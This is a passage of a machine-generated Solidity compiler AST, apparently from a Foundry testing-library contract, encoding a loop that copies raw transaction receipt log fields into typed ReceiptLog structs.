StdCheatsSafe.ReceiptLog[]"}},"visibility":"internal"}],"id":5013,"initialValue":{"arguments":[{"expression":{"id":5010,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17575:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5011,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17583:6:3","memberName":"length","nodeType":"MemberAccess","src":"17575:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":5009,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"17558:16:3","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (struct StdCheatsSafe.ReceiptLog memory[] memory)"},"typeName":{"baseType":{"id":5007,"nodeType":"UserDefinedTypeName","pathNode":{"id":5006,"name":"ReceiptLog","nameLocations":["17562:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3783,"src":"17562:10:3"},"referencedDeclaration":3783,"src":"17562:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog"}},"id":5008,"nodeType":"ArrayTypeName","src":"17562:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"}}},"id":5012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17558:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"17531:59:3"},{"body":{"id":5122,"nodeType":"Block","src":"17641:571:3","statements":[{"expression":{"id":5032,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5024,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17655:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5026,"indexExpression":{"id":5025,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17660:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17655:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5027,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17663:10:3","memberName":"logAddress","nodeType":"MemberAccess","referencedDeclaration":3765,"src":"17655:18:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5028,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17676:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5030,"indexExpression":{"id":5029,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17684:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17676:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5031,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17687:10:3","memberName":"logAddress","nodeType":"MemberAccess","referencedDeclaration":3743,"src":"17676:21:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"17655:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5033,"nodeType":"ExpressionStatement","src":"17655:42:3"},{"expression":{"id":5042,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5034,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17711:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5036,"indexExpression":{"id":5035,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17716:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17711:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5037,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17719:9:3","memberName":"blockHash","nodeType":"MemberAccess","referencedDeclaration":3767,"src":"17711:17:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5038,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17731:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5040,"indexExpression":{"id":5039,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17739:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17731:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5041,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17742:9:3","memberName":"blockHash","nodeType":"MemberAccess","referencedDeclaration":3745,"src":"17731:20:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"17711:40:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":5043,"nodeType":"ExpressionStatement","src":"17711:40:3"},{"expression":{"id":5054,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5044,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17765:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5046,"indexExpression":{"id":5045,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17770:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17765:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5047,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17773:11:3","memberName":"blockNumber","nodeType":"MemberAccess","referencedDeclaration":3769,"src":"17765:19:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"baseExpression":{"id":5049,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17800:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5051,"indexExpression":{"id":5050,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17808:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17800:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5052,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17811:11:3","memberName":"blockNumber","nodeType":"MemberAccess","referencedDeclaration":3747,"src":"17800:22:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5048,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"17787:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":5053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17787:36:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17765:58:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5055,"nodeType":"ExpressionStatement","src":"17765:58:3"},{"expression":{"id":5064,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5056,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17837:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5058,"indexExpression":{"id":5057,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17842:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17837:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5059,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17845:4:3","memberName":"data","nodeType":"MemberAccess","referencedDeclaration":3771,"src":"17837:12:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5060,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17852:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5062,"indexExpression":{"id":5061,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17860:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17852:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5063,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17863:4:3","memberName":"data","nodeType":"MemberAccess","referencedDeclaration":3749,"src":"17852:15:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"17837:30:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":5065,"nodeType":"ExpressionStatement","src":"17837:30:3"},{"expression":{"id":5076,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5066,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17881:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5068,"indexExpression":{"id":5067,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17886:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17881:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5069,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17889:8:3","memberName":"logIndex","nodeType":"MemberAccess","referencedDeclaration":3773,"src":"17881:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"baseExpression":{"id":5071,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17913:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5073,"indexExpression":{"id":5072,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17921:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17913:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5074,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17924:8:3","memberName":"logIndex","nodeType":"MemberAccess","referencedDeclaration":3751,"src":"17913:19:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5070,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"17900:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":5075,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17900:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17881:52:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5077,"nodeType":"ExpressionStatement","src":"17881:52:3"},{"expression":{"id":5086,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5078,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17947:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5080,"indexExpression":{"id":5079,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17952:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17947:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5081,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17955:6:3","memberName":"topics","nodeType":"MemberAccess","referencedDeclaration":3776,"src":"17947:14:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5082,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17964:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5084,"indexExpression":{"id":5083,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17972:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17964:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5085,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17975:6:3","memberName":"topics","nodeType":"MemberAccess","referencedDeclaration":3756,"src":"17964:17:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"src":"17947:34:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":5087,"nodeType":"ExpressionStatement","src":"17947:34:3"},{"expression":{"id":5098,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5088,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17995:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5090,"indexExpression":{"id":5089,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18000:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17995:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5091,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"18003:16:3","memberName":"transactionIndex","nodeType":"MemberAccess","referencedDeclaration":3778,"src":"17995:24:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"baseExpression":{"id":5093,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"18035:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5095,"indexExpression":{"id":5094,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18043:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18035:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5096,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"18046:16:3","memberName":"transactionIndex","nodeType":"MemberAccess","referencedDeclaration":3760,"src":"18035:27:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5092,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"18022:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":5097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18022:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17995:68:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5099,"nodeType":"ExpressionStatement","src":"17995:68:3"},{"expression":{"id":5110,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5100,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"18077:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5102,"indexExpression":{"id":5101,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18082:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18077:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5103,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"18085:19:3","memberName":"transactionLogIndex","nodeType":"MemberAccess","referencedDeclaration":3780,"src":"18077:27:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"baseExpression":{"id":5105,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"18120:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5107,"indexExpression":{"id":5106,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18128:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18120:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5108,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"18131:19:3","memberName":"transactionLogIndex","nodeType":"MemberAccess","referencedDeclaration":3762,"src":"18120:30:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5104,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"18107:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":5109,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18107:44:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"18077:74:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5111,"nodeType":"ExpressionStatement","src":"18077:74:3"},{"expression":{"id":5120,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5112,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"18165:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5114,"indexExpression":{"id":5113,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18170:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18165:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5115,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"18173:7:3","memberName":"removed","nodeType":"MemberAccess","referencedDeclaration":3782,"src":"18165:15:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5116,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"18183:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5118,"indexExpression":{"id":5117,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18191:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18183:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5119,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"18194:7:3","memberName":"removed","nodeType":"MemberAccess","referencedDeclaration":3753,"src":"18183:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"18165:36:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5121,"nodeType":"ExpressionStatement","src":"18165:36:3"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5020,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5017,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17616:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":5018,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17620:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5019,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17628:6:3","memberName":"length","nodeType":"MemberAccess","src":"17620:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17616:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5123,"initializationExpression":{"assignments":[5015],"declarations":[{"constant":false,"id":5015,"mutability":"mutable","name":"i","nameLocation":"17613:1:3","nodeType":"VariableDeclaration","scope":5123,"src":"17605:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5014,"name":"uint256","nodeType":"ElementaryTypeName","src":"17605:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5016,"nodeType":"VariableDeclarationStatement","src":"17605:9:3"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":5022,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"17636:3:3","subExpression":{"id":5021,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17636:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5023,"nodeType":"ExpressionStatement","src":"17636:3:3"},"nodeType":"ForStatement","src":"17600:612:3"},{"